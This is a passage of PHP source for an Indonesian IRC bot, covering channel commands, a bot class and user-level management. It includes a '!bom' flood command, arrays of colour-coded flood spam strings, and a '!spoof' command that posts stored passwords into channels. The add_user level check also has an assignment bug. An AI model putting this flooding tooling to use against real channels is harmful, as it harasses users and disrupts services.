$systembot['VERSION'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'VERSION '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['VERSION'][strtoupper($targetsys)]).' ]');
}
if($wsys=='TIME' && $sysok==1 && $getlvl > 2){
$systembot['TIME'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'TIME '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['TIME'][strtoupper($targetsys)]).' ]');
}
if($wsys=='FINGER' && $sysok==1 && $getlvl > 2){
$systembot['FINGER'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'FINGER '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['FINGER'][strtoupper($targetsys)]).' ]');
}
if($wsys=='ISON' && $sysok==1 && $getlvl > 2){
$systembot['ISON']['ALL']= $onoff;$modbot->notice($fp,$fsrc[nick],'ISON is [ 4'.strtoupper($systembot['ISON']['ALL']).' ]');
}
if($wsys=='ASTRO' && $sysok==1 && $getlvl > 2){
$systembot['ASTRO'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'ASTRO '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['ASTRO'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SPOOF' && $sysok==1 && $getlvl > 2){
$systembot['SPOOF'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SPOOF '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SPOOF'][strtoupper($targetsys)]).' ]');
}
if($wsys=='DNS' && $sysok==1 && $getlvl > 2){
$systembot['DNS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'DNS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['DNS'][strtoupper($targetsys)]).' ]');
}
if($wsys=='BOM' && $sysok==1 && $getlvl > 2){
$systembot['BOM'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'BOM '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['BOM'][strtoupper($targetsys)]).' ]');
}
if($wsys=='GREET' && $sysok==1 && $getlvl > 2){
$systembot['GREET'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GREET '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['GREET'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SMS' && $sysok==1 && $getlvl > 2){
$systembot['SMS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SMS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SMS'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SLAPS' && $sysok==1 && $getlvl > 2){
$systembot['SLAPS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SLAPS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SLAPS'][strtoupper($targetsys)]).' ]');
}
if($wsys=='KSLANG' && $sysok==1 && $getlvl > 2){
$systembot['KSLANG'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'KSLANG '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['KSLANG'][strtoupper($targetsys)]).' ]');
}
if($wsys=='AUTOCYCLE' && $sysok==1 && $getlvl > 2){
$systembot['AUTOCYCLE'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOCYCLE '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['AUTOCYCLE'][strtoupper($targetsys)]).' ]');
}
if($wsys=='AUTOJOIN' && $sysok==1 && $getlvl > 2){
$systembot['AUTOJOIN'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOJOIN '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['AUTOJOIN'][strtoupper($targetsys)]).' ]');
}
if($wsys=='AUTOAWAY' && $sysok==1 && $getlvl > 2){
$systembot['AUTOAWAY']['ALL']= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOAWAY is [ 4'.strtoupper($systembot['AUTOAWAY']['ALL']).' ]');
}
if($wsys=='LISTGREET' && $dCom[1] && $dCom[2] && $getlvl > 2){
if($onoff==" 3ON "){
$ddc=strtolower($dCom[1]);$greetmsg["$ddc"]["nama"]=$dCom[1];$mgreet=str_replace($dCom[0]." ".$dCom[1]." ","",$TxtMsg);
$greetmsg["$ddc"]["msg"]=$mgreet;$modbot->notice($fp,$fsrc[nick],'Auto Greet For :'.$greetmsg["$ddc"]["nama"]);
$modbot->notice($fp,$fsrc[nick],'Auto Greet Msg :'.$greetmsg["$ddc"]["msg"]);
}else{$eel=strtolower($dCom[1]);unset($greetmsg["$eel"]["nama"]);unset($greetmsg["$eel"]["msg"]);$modbot->notice($fp,$fsrc[nick],'Delete Greet For :'.$eel);}
}
if($wsys=='LISTISON' && $dCom[1] && $getlvl > 2){
if($onoff==" 3ON "){
if($modbot->add_ison($dCom[1])==1){$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' is now in my list');}
else{$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' is already in my list');}
}
else{if($modbot->del_ison($dCom[1])==1){$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' has been deleted');}}
}
}
################################ SYSTEM ###################################

}
}
elseif (substr($Params[3],0,2)==':!'){
if (strtolower($Params[3])==':!ping' && ereg('#',$Params[2]) && $systembot['PING'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
if(strtolower($dCom[1])=='me'){$modbot->stuf_ping($fp,$Params[2],$fsrc[nick]);}else {$modbot->stuf_ping($fp,$Params[2],$dCom[1]);}
}else{$modbot->stuf_ping($fp,$Params[2],$fsrc[nick]);}
}
elseif (strtolower($Params[3])==':!version' && ereg('#',$Params[2]) && $systembot['VERSION'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->msg($fp,$Params[4],' VERSION ');$datversi[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$datversi[strtolower($Params[4])]["chan"]=$Params[2];
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !version <nick> ');}
}
elseif (strtolower($Params[3])==':!time' && ereg('#',$Params[2]) && $systembot['TIME'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->msg($fp,$Params[4],' TIME ');$dattime[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$dattime[strtolower($Params[4])]["chan"]=$Params[2];}
else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !time <nick> ');}
}
elseif (strtolower($Params[3])==':!finger' && ereg('#',$Params[2]) && $systembot['FINGER'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->msg($fp,$Params[4],' FINGER ');$datfinger[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$datfinger[strtolower($Params[4])]["chan"]=$Params[2];
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !finger <nick> ');}
}
elseif (strtolower($Params[3])==':!dns' && ereg('#',$Params[2]) && $systembot['DNS'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
if (ereg("[a-zA-Z]", $dCom[1])) {$res = gethostbyname($dCom[1]);}
elseif (ereg("[0-9]", $dCom[1])) {$res = gethostbyaddr($dCom[1]);}
if ($res==$dCom[1]) { $res = "not resolved."; }
else { $res = "resolved to: $res ."; }
$modbot->msg($fp,$Params[2],'DNS Query for: '.$dCom[1] . ' ' .$res);
}else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !dns <host> ');}
}
elseif (strtolower($Params[3])==':!astro' && ereg('#',$Params[2]) && $systembot['ASTRO'][strtoupper($Params[2])]==" 3ON ") {
if($dCom[1]){
$modbot->notice($fp,$fsrc[nick],' 15( 04 A stro 15) '. $modbot->mod_astro($dCom[1]));
}else{
$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik :!astro <bintang>');
}
}
elseif (strtolower($Params[3])==":!spoof" && ereg('#',$Params[2]) && $systembot['SPOOF'][strtoupper($Params[2])]==" 3ON ") {
$spoofnya=strtolower($Params[4]);
if ($Params[5]<=$jmlspoof["$spoofnya"] && $Params[5]>0){
fputs($fp,'PRIVMSG '.$Params[2].' : 15( 04 S poof 15) Ident: 4' . $isisp["$Params[5]"]["$spoofnya"]["ident"] .' Spoof: 4' . $isisp["$Params[5]"]["$spoofnya"]["spoof"] .' Passw: 4' . $isisp["$Params[5]"]["$spoofnya"]["pass"].' '. CRLF);
}
else {$modbot->notice($fp,$frsc[nick],' 15( 04 S poof 15) Request Error');}
}
elseif (strtolower($Params[3])==":!kslang" && ereg('#',$Params[2]) && $systembot['KSLANG'][strtoupper($Params[2])]==" 3ON ") {
$ktslsl=str_replace($Params[3]." ".$Params[4]." ","",":".$TxtMsg);
if($Params[4]<=$kmjml[strtolower($ktslsl)] && $Params[4]>0){
$nomere=$Params[4]-1;
if(strpos($kmusedan[$nomere]["definisi"][strtolower($ktslsl)],"<br>")){
$defedan=explode("<br>",$kmusedan[$nomere]["definisi"][strtolower($ktslsl)]);
foreach ($defedan as $darredan) {
$modbot->notice($fp,$fsrc[nick],' 15( 04 A rti 15) '.$darredan);
sleep(1);
}
}
elseif($kmusedan[$nomere]["definisi"][strtolower($ktslsl)]){
$modbot->notice($fp,$fsrc[nick],' 15( 04 A rti 15) '.$kmusedan[$nomere]["definisi"][strtolower($ktslsl)]);
}
if(strpos($kmusedan[$nomere]["contoh"][strtolower($ktslsl)],"<br>")){
$defedan=explode("<br>",$kmusedan[$nomere]["contoh"][strtolower($ktslsl)]);
foreach ($defedan as $darredan) {
$modbot->notice($fp,$fsrc[nick],' 15( 04 C th 15) '.$darredan);
sleep(1);
}
}
elseif($kmusedan[$nomere]["contoh"][strtolower($ktslsl)]){
$modbot->notice($fp,$fsrc[nick],' 15( 04 C th 15) '.$kmusedan[$nomere]["contoh"][strtolower($ktslsl)]);
}
}
else{
fputs($fp,'PRIVMSG '.$Params[2].' : 15( 04 KS lang 15) Request Error'. CRLF);
}

}
elseif (strtolower($Params[3])==':!update' && ereg('#',$Params[2]) && $Params[5]) {
$typeup=strtolower($Params[4]);
if($typeup=='spoof' && $systembot['SPOOF'][strtoupper($Params[2])]==" 3ON "){
$modbot->msg($fp,$Params[2],' 15( 04 S poof 15) Update Complete! FOUND :'.$modbot->mod_uspoof($fp,$Params[5]).' Spoof');
}
elseif($typeup=='kslang' && $systembot['KSLANG'][strtoupper($Params[2])]==" 3ON "){
$ktslsl=str_replace($Params[3]." ".$Params[4]." ","",":".$TxtMsg);
$modbot->msg($fp,$Params[2],' 15( 04 KS lang 15) Update Complete! FOUND :'.$modbot->mod_uslang($fp,$ktslsl).' Arti');
}
}
elseif (strtolower($Params[3])==":!bom" && ereg('#',$Params[2]) && $Params[4] && $systembot['BOM'][strtoupper($Params[2])]==" 3ON ") {
$modbot->stuf_bom($fp,$Params[2],$Params[4]);
}
elseif (strtolower($Params[3])==":!potong" && ereg('#',$Params[2]) && $Params[4] && $systembot['BOM'][strtoupper($Params[2])]==" 3ON ") {
$modbot->stuf_potong($fp,$fsrc[nick],$Params[2],$Params[4]);
}
}
########### NET ############
elseif (substr($Params[3],0,3)==':~@' && strtolower($Params[2])==strtolower($bot['roomnet'])){
}
############################
break;
}
##[ AKHIR DATA RAW NIH ]##
}
### PERMAINAN PING PONG ###
elseif ( substr($DataLine,0,4) == 'PING' ) {$modbot->send($fp,'PONG ' . substr($DataLine,5));}
$response ="";
}
##[ End Proses Data Recv ]##
}
fclose ($fp);
unset ($fp);
$response='';
}
} while ($keluar==0);
################### [ END CONNECT ] ###################

################### [ CLASS IRC BOT ] #####################
class module_bot{
function rnd_logo(){
$nlogo=array(" 15( 1 ? 15) "," 15( 2 ? 15) ",
" 15( 3 ? 15) "," 15( 4 ? 15) ",
" 15( 5 ? 15) "," 15( 7 ? 15) ",
" 15( 12 ? 15) "," 15( 14 ? 15) "
);
return $nlogo[rand(0,count($nlogo) - 1)];
}
function rnd_nick(){
$nickbot=array("Rain", "Co^Mod", "Sang-Hati", "ceWek`sWeet", "YuSakun", "Dora-kecil", "adminchan", "Clark", "bang`tolip", "Guest",
"ritaM4nis", "Narut0", "k4k4shi", "DiAn", "ce`Manja", "ce^gresik", "ArekSMA", "[K]Desa", "^Kagome", "Kimi_No_Yume", "Utada_hikaru",
"ErrChan","As-Tech","dh4ni", "tiara-21", "mai_kuraki", "brontok", "Conan", "dora_sedih", "Bunda_Noer_a-ini", "B-Yuk^Jr", "con[a]n`xs", "A-Riise", "Lampard",
"ZumiZola", "Contiex`s", "sh[a]nie", "[A]ntI", "aRiel", "armY", "L2-Mas", "N[-]Cus", "F[and]I", "Tom`Cruise", "E-mail", "E-rix", "E-one", "shepthy",
"Sry`nTeall", "Fan7ka", "Mil`Ach", "V-Three", "G-Dank", "Die[a]ch", "Phia`e", "T-Cool", "L3ili3", "ilham_JK^n2t", "Wike", "Jaros^Jr", "Wo^[a]ini",
"Me2T", "Bud2", "Ci2K", "E-Cho^e", "O2-c", "Iy[oo]ed", "R-elf", "[Y]u[S]t", "V``Th[a]", "Mr_Superman", "Mrs_Dora", "Mr_ShamoHung", "Mrs_Ampere", "Mr_Tukul",
"Mr_Solar", "Mr_Patekul", "Mr_Tourre", "Mrs_Olief", "Ketupat^[GENDUT]", "[B]ungah", "[S]idayu", "cecep`s", "[R]aja[T]ega", "TinaToon", "kop[r]al", "Sima`S",
"Mb[o_o]let", "Marrie", "[L]ea", "chilis", "The[D]octor|II7|", "Antar_Kau_Dan_Aku", "musaddad", "danny[Z]", "Skber_Boy", "mariana", "melarat", "Cow[P]ilek",
"YbOT", "[Bot]ulism", "Franciss", "ChairilAnwar", "Reyang", "Seln", "Pak^haji", "Bu-Guru", "Hana","SnoOp",
"korupt[oooo]r", "masuda", "[R]an", "[S]hinichi", "kindaici", "pak-sby", "[J]agung", "[C]hiluc", "aisyah","BadBoy","BotEdan","Ampun-Dc","SiUsil",
"abel","JemPol","Kurt","Adit","Hendrik","Xl","Fren","Im3","DarkMoon","WhoAmI","Kiroro","SpEEd_HUnTER","Hero`s"
);
return $nickbot[rand(0,count($nickbot) - 1)];
}
function rnd_ident(){
$identbot=array("jatimcom"
);
return $identbot[rand(0,count($identbot) - 1)];
}
function rnd_real(){
$realbot=array(" 0,4Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» "
);
return $realbot[rand(0,count($realbot) - 1)];
}
function rnd_away(){
$awaybot=array(" 0,4Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");
return $awaybot[rand(0,count($awaybot) - 1)];
}
function rnd_cycle(){
$strcycle=array(" 0,4Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» "
);
return $strcycle[rand(0,count($strcycle) - 1)];
}
function rnd_flod(){
$strflod=array(" 1* kO 2pEt 3* ?! K 4oPe 5T ! ?# 6kOpE 7t # ?[ 1 KoP 9eT ] 10 ?{ kO 11pEt } 12 ?% Ko 13PeT 14% ?@ kO 15pEt @ ? 1* kOp 12Et 3* ?! Ko 4PeT 5! ?# kO 6pEt # 7 ?[ Ko 8PeT ] 9 ?{ kOp 10Et } 11 ?% Ko 12PeT 13% ?@ kO 14pEt 15@ ?* kO 1pEt 2* ?! KoP 3eT ! ? 4# kOp 5Et # ? 6[ KoP 7eT ] ?{ 8 kOp 9E t 10} ?% Ko 11PeT % ? 12@ kO 13pEt 14@ ? 1* kO 2pEt 3* ?! K 4oPe 5T ! ?# 6kOpE 7t # ?[ 8 KoP 9eT ] 10 ?{ kO 11pEt } 12 ?% Ko 13PeT 14% ?@ kO 15pEt @ ? 1* kOp 12Et 3* ?! Ko 4PeT 5! ?# kO 6pEt # 7 ?[ Ko 8PeT ] 9 ?{ kOp10Et } 11 ?% Ko 12PeT 13% ?@ kO 14pEt 15@ ?* kO 1pEt 2* ?! KoP 3eT ! ? 4# kOp 5Et # ? 6[ KoP 7eT ] ?{ 8 kOp 9E t 10} ?% Ko 11PeT % ? 12@ kO 13pEt 14@ ? 1* kO 2pEt 3* ?! K 4oPe 5T ! ?# 6kOpE 7t # ?[ 8 KoP 9eT ] 10 ?{ kO 11pEt } 12 ?% Ko 13PeT 14% ?@ kO 15pEt @ ? 1* kOp 12Et 3* ?! Ko 4PeT 5! ?# kO 6pEt #",
" 4,11Be BeK 5 aD uS 6 kAl I 12W ekZ 13Wek Z 14We k 1ZW ek 15 Wek Z 7Wek Z 9,1B eBe K 13aD uS 12k AlI 4We kZW 11e kZ We 2k ZWe 7k We k 9ZWe k 10Z 8,2Be BeK a 11D uS kA 9lI We 7k ZWe 0k Z We kZ 11We k W e 8kZ We 13kZ 13,9Be Be 1K aD 12u S kA l 3I We 4k ZWe 7kZ Wek 4Z Wek W 2e kZW e 11kZ 12,4 BeB 14e K aD 15u S kA l 5I Wek Z 6We kZ W ek 1ZWek We k 12ZWe k 13Z 11,6 Be 1B eK a Du 2S kA l 3I We 4k ZWe 5k Z We k 7ZWe k 8We kZ 9W ek 10Z 0,14Be BeK 14a DuS k 13Al I W 9e kZ W 4ek Z 11We k 7ZW ek W 8e kZW 9e kZ 4,11B e BeK a 12D uS 3kA l 6I W ek 5ZW ek 15Z We 13kZ Wek W 9ekZ W 2ek Z 9,1B eBe K a 14D uS k 14AlI W 13e kZW e 12kZ W e 11kZW ek 10Wek Z 9We kZ 8,2Be BeK 7aD uS 6k AlI 5 W ek 4Z Wek Z 3 We k 2ZW ek 1W ekZ W 15ek Z 13,9 Be 14B eK 13a DuS k 12A lI W e 10kZW ek 14Z We 8kZ Wek 7 WekZ W 6ek Z 12,7 BeBe K 8aDu S 13kA lI 6We kZ 5Wek Z 4 Wek 3Z Wek 2 We kZ 1W ekZ",
" H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha H a H H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!H a H a !Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!Ha Ha Ha!H a H a !Ha Ha Ha!H a H a !Ha Ha Ha!H a H a !Ha ",
" 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A 5,4hI yA 6,11hIy A 7,6 hiy A 8,7hI yA 9,3 hiy A 4,8hIy A 9,3 hiy A",
" @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @? @% @?@% @?@% @?@% @?@% @?@ %@?@ %@?@ %@?@ %@?* @% @? @% @",
" 12,8M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H??M??????H ??M??????H ??M??????H ??M??????H ??M??????H ??M??????H ??M??????H ??M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H?? M??????H 12M??????H?? M??????H?? M??????H?? 12M??????H?? M??????H?? M?????H?? 12M??????H?? M??????H?? M??????H?? 12M??????H?? M??????H?? M??????H??"
);
return $strflod[rand(0,count($strflod) - 1)];
}
function rnd_slapampun(){
$sampunbot=array("bos mojok yuk!","Am was Here My Owner!! no slaps OK!!","sini? pm aq bos","kenapa bos?!!","wedew","muach..muach...","ciatsssss... hehehe..","slap? pingin di tium ta?","ampun bosss, aku ndak nakal lagi","siaaaappp bos, ada yang bisa saya buantingin? piring, gelas gtu..",
"hiks..nasib?","jadi tukang slap ya, bos?","edan!!!","mama... tolong....","papa... tolong...","ada apa bos!!!, slap? ra ngerti sik kojom apa?","watauuu tega banget kau boss!!!","Siap!!!","aku di sini sayang","lagi enak? kojom dislap ikz.",
"Ready!!","aduh...jangan di slap dong.. pv aja","iya sayang...","Boss JELEK!!!","Ready to command!","scream!!!!","mama... bos Q jahat!","jahat banget sihh..","What Mission?");
return $sampunbot[rand(0,count($sampunbot) - 1)];
}
function rnd_slapme(){
$slapme=array("egk boleh slap ya say...","tak ada ampun buat loh!","nangisooo ae... 4Dont Slap Me!! ","heheheh ciatsssssssssss. tendangan jet lee","Rasakan ini...","Dudutz","yeee...pv aja, gk usah pake slap..");
return $slapme[rand(0,count($slapme) - 1)];
}
function rnd_slapbos(){
$slapbos=array("huneQ jangan dislap!!","Dont slap my bos!!","Kacian Bos Tauw!!!","bosQ masih sibuk","bosQ lagi tidur, mohon jangan di ganggu"," 2 HaKz DeZz.. "," 2 Awas..!!! "," 2 eiT's.. "," 2 HayOo NaKaLs.. ","jangan ganggu boskuuuuuu","ra ngerti bos lagi sibuk apa... ciattttttttttt jwedak");
return $slapbos[rand(0,count($slapbos) - 1)];
}
#### MODULE IRC #######

function send($sock,$msg){fputs($sock,"$msg".CRLF); }
function quit($sock,$msg){if($msg){$this->send($sock,"QUIT :$msg");} else {$this->send($sock,"QUIT");}sleep(1); }
function msg($sock,$to,$msg){$this->send($sock,"PRIVMSG $to :$msg");}
function act($sock,$to,$msg){$this->send($sock,'PRIVMSG '.$to.' :'.' ACTION '.$msg.' ');}
function invite($sock,$to,$chan){$this->send($sock,"INVITE $to $chan");}
function notice($sock,$to,$msg){$this->send($sock,"NOTICE $to :$msg");}
function join($sock,$chan,$kunci=Null){$this->send($sock,"JOIN $chan $kunci"); }
function part($sock,$chan,$msg){if($msg){$this->send($sock,"PART $chan :$msg");} else {$this->send($sock,"PART $chan");} }
function Cycle($sock,$chan,$msg){ if ($msg){$this->part($sock,$chan,$msg);}else{$this->part($sock,$chan,$msg);} sleep(2); $this->join($sock,$chan); }
function nick($sock,$newnick){$this->send($sock,"NICK $newnick"); }
function mode($sock,$mod,$chan,$who){$this->send($sock,"MODE $chan $mod $who"); }
function kick($sock,$chan,$who,$msg){if($msg){$this->send($sock,"KICK $chan $who :$msg");}else{$this->send($sock,"KICK $chan $who");} }
function kickserv($sock,$chan,$who,$msg){$this->msg($sock,"CHANSERV","KICK $chan $who $msg"." "); }
function ban($sock,$chan,$who){$this->mode($sock,$chan,"+b ".$who); }
function unban($sock,$chan,$who){$this->mode($sock,$chan,"-b ".$who); }
function away($sock,$msg){$this->send($sock,"AWAY :$msg"); }
function noaway($sock){$this->send($sock,"AWAY"); }
function topic($sock,$chan,$msg){$this->send($sock,"TOPIC $chan $msg"); }
####################

##########################
function add_nickchan($chan,$nick){
global $user_chan_arr;
$user_chan_arr[strtolower($chan)]["nick"] = $user_chan_arr[strtolower($chan)]["nick"].' '.$nick. ' ';
$user_chan_arr[strtolower($chan)]["chan"]=strtolower($chan);
$user_chan_arr[strtolower($chan)]["nick"]=str_replace(" "," ",$user_chan_arr[strtolower($chan)]["nick"]);
return "ok";
}
function change_nickchan($nick,$newnick){
global $user_chan_arr;
foreach ($user_chan_arr as $cur_xchan) {
$x_chan=$cur_xchan["chan"];
$user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' '.$nick.' ',' '.$newnick.' ',$user_chan_arr[strtolower($x_chan)]["nick"]);
$user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' ',' ',$user_chan_arr[strtolower($x_chan)]["nick"]);
$user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' ','',$user_chan_arr[strtolower($x_chan)]["nick"]);
}
return "ok";
}
function del_nickchan($chan,$nick){
global $user_chan_arr;
$user_chan_arr[strtolower($chan)]["nick"]=str_replace(' '.$nick.' ',' ',$user_chan_arr[strtolower($chan)]["nick"]);
$user_chan_arr[strtolower($chan)]["nick"]=str_replace(" "," ",$user_chan_arr[strtolower($chan)]["nick"]);
return "ok";
}
function show_nickchan($chan){
global $user_chan_arr;
$res_nick=$user_chan_arr[strtolower($chan)]["nick"];
$res_nick=ltrim($res_nick);
return $res_nick;
}
function show_chan(){
global $user_chan_arr,$bot;
foreach ($user_chan_arr as $cur_xchan) {
$showchn=$cur_xchan["chan"];
if($bot['roomnet']==$cur_xchan["chan"]){$showchn="";};
if($bot['basechan']==$cur_xchan["chan"]){$showchn="";};
if($showchn!=""){$res_chan=$res_chan.';'.$cur_xchan["chan"];}
}
return $res_chan;
}
function destroy_chan($chan){
global $user_chan_arr;
unset ($user_chan_arr[$chan]);
return "ok";
}
function destroy_allchan(){
global $user_chan_arr;
foreach ($user_chan_arr as $cur_xchan) {
unset ($user_chan_arr[$cur_xchan["chan"]]);
}
unset ($user_chan_arr);
return "ok";
}
#####################

function user_list($nick){
global $auth;
$userlist="";
foreach ($auth as $ulist) {if($ulist["name"]){$userlist .= $ulist["name"].'('.$ulist["status"].')';}}
return $userlist;
}
function add_user($sock,$nick,$user,$pass,$level){
global $auth,$bot;
$anick=$nick;
$nick = strtolower($nick);
$user = strtolower($user);
$level = strtolower($level);
if ($auth["$nick"]["auth"]==2) {
if ($auth["$nick"]["status"]=="Owner") {
if ($level=="master" || $level=="user" || $level="admin") {
if(!$auth["$user"]["name"]){
$auth["$user"]["name"] = $user;
$auth["$user"]["pass"] = $pass;
$auth["$user"]["status"] = $level;
$auth["$user"]["auth"] = 1;
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$level.' LIsT');
$this->notice($sock,$user,' '.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass);
$this->notice($sock,$user,'/msg '.$bot['nick'].' ^login <password>');
}else{
$this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.');
}
} else {$this->notice($sock,$nick,'Wrong Command! Type:.Adduser <nick> <pass> <admin|master|user>');}
}
elseif ($auth["$nick"]["status"]=="admin") {
if ($level=="master" || $level=="user") {
if(!$auth["$user"]["name"]){
$auth["$user"]["name"] = $user;
$auth["$user"]["pass"] = $pass;
$auth["$user"]["status"] = $level;
$auth["$user"]["auth"] = 1;
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$level.' LIsT');
$this->notice($sock,$user,' '.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass);
$this->notice($sock,$user,'/msg '.$bot['nick'].' ^login <password>');
}else{
$this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.');
}
} else {$this->notice($sock,$nick,'Wrong Command! Type:.Adduser <nick> <pass> <master|user>');}
}
elseif ($auth["$nick"]["status"]=="master") {
if (!$auth["$nick"]["name"]) {
if ($level=="user") {
$auth["$user"]["name"] = $user;
$auth["$user"]["pass"] = $pass;
$auth["$user"]["status"] = $level;
$auth["$user"]["auth"] = 1;
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$level.' LIsT');
$this->notice($sock,$user,' '.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass);
$this->notice($sock,$user,'/msg '.$bot['nick'].' ^login <password>');
